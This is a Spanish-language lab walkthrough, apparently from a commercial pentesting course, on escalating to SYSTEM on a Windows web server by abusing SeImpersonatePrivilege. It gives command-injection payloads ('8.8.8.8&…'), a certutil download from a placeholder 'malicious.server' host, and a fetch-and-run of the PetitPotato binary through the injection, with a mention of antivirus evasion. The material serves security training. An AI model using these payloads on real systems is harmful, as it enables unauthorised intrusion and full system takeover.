Abusando de los privilegios SeImpersonatePrivilege SeAssignPrimaryTokenPrivilege

Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: https://wa.link/j265a0. ¡Te esperamos para empezar este viaje juntos!

OBJETIVO DEL EJERCICIO #3:

Realizar una escalacion de privilegios en un Windows (WEBSERVER) por medio del abuso del Token SeImpersonatePrivilege. Para realizarlo es suficiente tener encendido UNICAMENTE WEBSERVER y First-DC.

Los sistemas operativos Windows utilizan un modelo de seguridad detallado que incluye la asignación de privilegios específicos a cuentas de usuario y servicios. Estos privilegios definen las operaciones que se pueden realizar sobre el sistema y son cruciales para la administración de la seguridad y el control de acceso. Entre estos privilegios, SeAssignPrimaryTokenPrivilege y SeImpersonatePrivilege juegan roles importantes en la gestión de identidades y el control de acceso, permitiendo a los procesos adoptar y asignar identidades de seguridad. A continuación, se detalla la función y la importancia de cada uno de estos privilegios en el contexto de la seguridad de Windows.

SeAssignPrimaryTokenPrivilege

El privilegio SeAssignPrimaryTokenPrivilege permite a un proceso asignar el token de acceso primario a un proceso. En Windows, un token de acceso es una estructura de seguridad que almacena la identidad y los privilegios de una cuenta de usuario o de un servicio, incluidos sus grupos de seguridad y otros derechos. Este privilegio es esencial para los procesos que necesitan crear otros procesos bajo una identidad diferente, lo cual es común en servicios o aplicaciones que actúan en nombre de varios usuarios.

Por ejemplo, un servicio de Windows que inicia sesiones de usuario podría utilizar este privilegio para crear procesos con los tokens de acceso de los usuarios que se están autenticando. Esto permite que el proceso se ejecute con los mismos derechos y privilegios que el usuario, asegurando que las operaciones se realicen bajo el contexto de seguridad adecuado.

SeImpersonatePrivilege

El privilegio SeImpersonatePrivilege permite a un proceso impersonar a otro usuario, es decir, tomar su identidad de seguridad temporalmente. Esto es útil en situaciones donde un proceso necesita actuar en nombre de otro usuario para acceder a recursos o realizar tareas específicas que requieren los privilegios de ese usuario. La impersonación es una parte clave de la arquitectura de seguridad de Windows, permitiendo una gestión de acceso flexible y segura.

Un caso de uso común de la impersonación es en los servicios de red, donde un servicio necesita acceder a recursos en nombre de un usuario remoto. Al impersonar al usuario, el servicio puede acceder a archivos, bases de datos y otros recursos utilizando los privilegios del usuario, sin necesidad de conocer su contraseña u otra información de autenticación.

Identificando SeImpersonatePrivilege

Cuando se encuentra como un usuario de bajo nivel en una máquina con Windows, siempre vale la pena verificar qué privilegios tiene su cuenta de usuario. Si tiene SeImpersonatePrivilege y/o SeAssignPrimaryTokenPrivilege, hay un vector de ataque muy simple que puede aprovechar para obtener acceso a nivel de SYSTEM.

Utilizamos el payload sobre el aplicativo web:

8.8.8.8&whoami /priv

Vamos a realizar la escalacion de privilegios utilizando la siguiente herramienta:

En entornos reales, probablemente el antivirus te detecte este binario y tendrias que realizar tecnicas de evasion sobre el proyecto para tratar de cambiar la firma.

Utilizando certutil de LOLBAS para la descarga de archivos

Teniendo en cuenta que esta maquina tiene salida a internet, vamos a descargar el binario utilizando Introduccion a LOLBAS

Certutil es una de esas herramientas. Es un comando de línea utilizado para ver y administrar certificados, entre otras tareas relacionadas. Sin embargo, tiene funcionalidades que pueden ser abusadas para otros fines, como:

  1. Transferencia de archivos: certutil puede descargar o subir archivos. Un atacante puede usarlo para traer un payload malicioso a una máquina comprometida o exfiltrar datos.

    Ejemplo para descargar un archivo:

    certutil -urlcache -f http://malicious.server/payload.exe payload.exe
  2. Codificación y decodificación: Puede usarse para codificar y decodificar archivos en formatos como base64. Esto puede ser útil para evadir controles de seguridad o disfrazar payloads.

    Ejemplo para decodificar un archivo:

    certutil -decode input.txt output.exe
  3. Inspección de certificados: Aunque este es su propósito original, un atacante puede utilizarlo para ver certificados y buscar configuraciones inseguras o certificados maliciosos.

Teniendo en cuenta la explicacion anterior ejecutamos lo siguiente:

8.8.8.8& certutil -urlcache -f https://github.com/wh0amitz/PetitPotato/releases/download/v1.0.0/PetitPotato.exe C:\Users\Public\PetitPotato.exe

Despues de la ejecuccion previa, obtenemos lo siguiente:

Vamos a validar la descarga:

8.8.8.8& dir C:\Users\Public\PetitPotato.exe

Ahora que hemos descargado este binario que tiene la funcionalidad de escalar privilegios por medio del token localizado, simplemente podemos ejecutar el siguiente comando:

8.8.8.8& C:\Users\Public\PetitPotato.exe 3 "whoami"

En la evidencia previa, se puede apreciar que tenemos una shell de "nt authority\system".

El significado de nt authority\system esta aqui.

Última actualización